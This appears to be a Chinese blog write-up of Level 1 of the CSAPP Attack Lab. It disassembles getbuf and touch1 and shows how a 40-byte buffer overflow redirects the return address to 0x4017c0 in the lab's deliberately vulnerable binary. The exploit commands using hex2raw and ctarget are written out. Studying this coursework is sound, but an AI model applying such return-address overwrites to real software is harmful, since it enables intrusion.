CSAPP:Lab3 -AttackLab-Level1

1.实验前准备

1)重点文档解释

获取实验文档后,将其解压,会获得几个文件,阅读readme文档,大致了解各文件作用,文件包括(ctarget,rtarget,farm.c,hex2raw,README,cookie.txt)

  1. ctarget Linux二进制文件存在代码注入漏洞。用于任务的1-3阶段。
  2. rtarget Linux二进制文件存在面向返回的编程漏洞。用于任务的第4-5阶段。
  3. cookie.txt 包含此实验室实例所需的4字节签名的文本文件。
  4. hex2raw 生成字节序列的实用程序。
2) hex2raw工具的使用

重点了解下hex2raw这个小程序,帮助我们将文本形式的字符串转换生成十六进制字节序列,其主要用法如红框标注说明,我们实验中通过控制台或者文件输入的是文本数据,如果想构造形如0x1234这样的十六进制序列,需要做下转换

3)实验环境兼容性问题

关于测试环境的问题,也许是不同虚拟机环境不同,导致实验程序的兼容性出现了问题,如下图,我按照实验手册中说明的控制台进行输入的方法测试,没有办法进行输入,直接会报错

利用手册中管道输入的方法也会报错(原因也一直没找到,也许还是实验环境兼容性的问题-_-||)

所以,我们可以按照如下图中我的方法

首先将输入数据存放到一本地文件,然后通过hex2raw工具转换后存到另一个本地文件,最后通过./ctarget -qi input.txt 这种方式测试

./hex2raw < your_sol_file > input.txt

./ctarget -qi input.txt

验证过,是可行的,如下图

2.实验开始

 对于Level1,我们不需要注入新的代码。相反,利用字符串将重定向程序以执行现有的过程,就可以实现。如下是初始的test程序,第4行通过getbuf()调用,会读取控制台中我们的输入数据,然后进行printf输出。

 大家可以利用上面我介绍的方法,随便输入一段文字,然后运行看下输出情况

如下是touch1的代码

我们的任务是在getbuf()执行其返回语句时让ctarget执行touch1的代码,而不是返回到test()中。请注意,我们的利用漏洞字符串也可能破坏与此阶段不直接相关的堆栈部分,但这不会导致问题,因为touch1会导致程序直接退出(有exit(0)语句)。

本题就是利用一个基本的缓冲区溢出把getbuf的返回地址设置成touch1的地址。

思路是将touch1的开始地址,放在某个位置(test进行call getbuf()指令前,要将该指令的下一指令地址压栈,此时的压入栈帧中的位置,就是我们要修改的位置),以实现当ret指令被getbuf执行后会将控制权转移给touch1

1)分析test汇编代码
0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret 

这里首先$rsp-8分配栈帧,然后调用getbuf(),随后把返回值赋给了edx(读取成功后返回值为1),将 0x403188赋给esi ,传参完成后,调用printf()进行输出,可以想到$esi指向的应该是printf的格式化字符,check一下,和预期一致

2)分析getbuf汇编代码
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

 代码开始通过$rsp-40创建了40个字节的栈帧空间,然后将栈顶地址赋给rdi,调用Gets()进行输入,输入字符放到此40字节的缓冲区中。

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>

所以我们只要把getbuf的返回地址设置成touch1的地址=0x4017c0即可。这里getbuf的缓冲区为40字节。我们可以前40个字节随便输入。只需要接下来的八个字节构造为地址0x00000000004017c0即可。我们构造一个txt文件用来输入touch1.txt

3)  测试

接下来,运行我们的实例,如下图,level1通过了。

./hex2raw < touch1.txt >ctarget_1.txt 

./ctarget -qi ctarget_1.txt

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值